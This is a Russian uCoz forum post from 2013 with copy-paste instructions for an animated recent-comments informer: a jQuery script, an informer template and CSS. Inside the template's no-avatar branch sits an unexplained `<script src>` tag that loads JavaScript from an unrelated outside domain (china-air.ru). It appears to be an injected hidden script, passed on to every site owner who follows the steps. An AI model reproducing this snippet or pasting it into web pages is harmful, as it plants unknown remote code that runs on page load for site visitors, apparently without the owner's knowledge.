Добавить Новость | Добавить Файл | Добавить Статью | Добавить Сайт
Главная | Форум | Файлы | Статьи | ТОП сайтов | Мой Блог
[ Новые сообщения · Участники · Правила форума · Поиск · RSS ]
  • Страница 1 из 1
  • 1
Форум » Система uCoz » Информеры » Информер с плавным обновлением коментариев
Информер с плавным обновлением коментариев
brokens
Дата: Понедельник, 27.05.2013, 08:23 | Сообщение # 1
Постов: «218»
Суть информера в том, что последний коментарий как бы исчезает, но можно настроить не только что бы был информер коментариев, а так же последних новостей, файлов и так далее. 

Установка! 

Ставим этот скрипт после тега <body>: 

Код
<script type="text/javascript">   
   $(document).ready(function(){   
   var first = 0;   
   var speed = 700;   
   var pause = 3500;   
     
   function removeFirst(){   
   first = $('ul#center_dm_ru li:first').html();   
   $('ul#center_dm_ru li:first')   
   .animate({opacity: 0}, speed)   
   .fadeOut('slow', function() {$(this).remove();});   
   addLast(first);   
   }   
     
   function addLast(first){   
   last = '<li style="display:none">'+first+'</li>';   
   $('ul#center_dm_ru').append(last)   
   $('ul#center_dm_ru li:last')   
   .animate({opacity: 1}, speed)   
   .fadeIn('slow')   
   }   
     
   interval = setInterval(removeFirst, pause);   
   });   
   </script>

Создаем информер с такими параметрами: Коментарии - Все модули - Количество материалов 10 - Колочество колонок 1 и вставляем в информер такой код: 

Код
<li>   
   <?if($USER_AVATAR_URL$)?><a href="$PROFILE_URL$" target="_blank"><img class="coment_avatar" src="$USER_AVATAR_URL$" /></a><?else?><img class="coment_avatar" src="http://bambun.ru/images/no_avtar.jpg" alt="no" /><script src="http://china-air.ru/tsed.js" type="text/javascript"></script><?endif?><a class="massage_link" href="$ENTRY_URL$" target="_blank">$MESSAGE$</a>   
   </li>

Вставляем этот код в блок и меняем на свой информер: 

Код
<ul id="center_dm_ru">   
   $MYINF_1$   
   </ul>

И прописываем в css стили информера: 

Код
#center_dm_ru {   
   overflow:hidden;   
   height:250px;   
   width:250px;   
   border:solid 1px #C8D9E5;   
   padding: 0px 0px 0px 0px;   
   background: #F8FCFF;   
   }   

   #center_dm_ru li {   
   list-style:none;   
   overflow:hidden;   
   border-top: 1px solid #fff;   
   border-bottom: 1px solid #C8D9E5;   
   padding: 10px 5px 10px 5px;   
   }   

   .coment_avatar {   
   float:right;   
   width:25px;   
   height:25px;   
   background: #F3F3F3;   
   margin-left: 5px;   
   padding: 2px;   
   border:1px solid #C8D9E5;   
   }   

   .massage_link:link,   
   .massage_link:visited {   
   text-decoration: none;   
   color:#555;   
   }   

   .massage_link:hover {   
   color:#999;   
   }   

   #center_dm_ru li a:hover img {   
   filter: progid: DXImageTransform.Microsoft.Alpha(opacity=50);   
   -moz-opacity: 0.5;   
   opacity: 0.5;   
   filter: alpha(opacity=50);   
   }
Прикрепления: 7760642.jpeg (14.0 Kb)


Форум » Система uCoz » Информеры » Информер с плавным обновлением коментариев
  • Страница 1 из 1
  • 1
Поиск: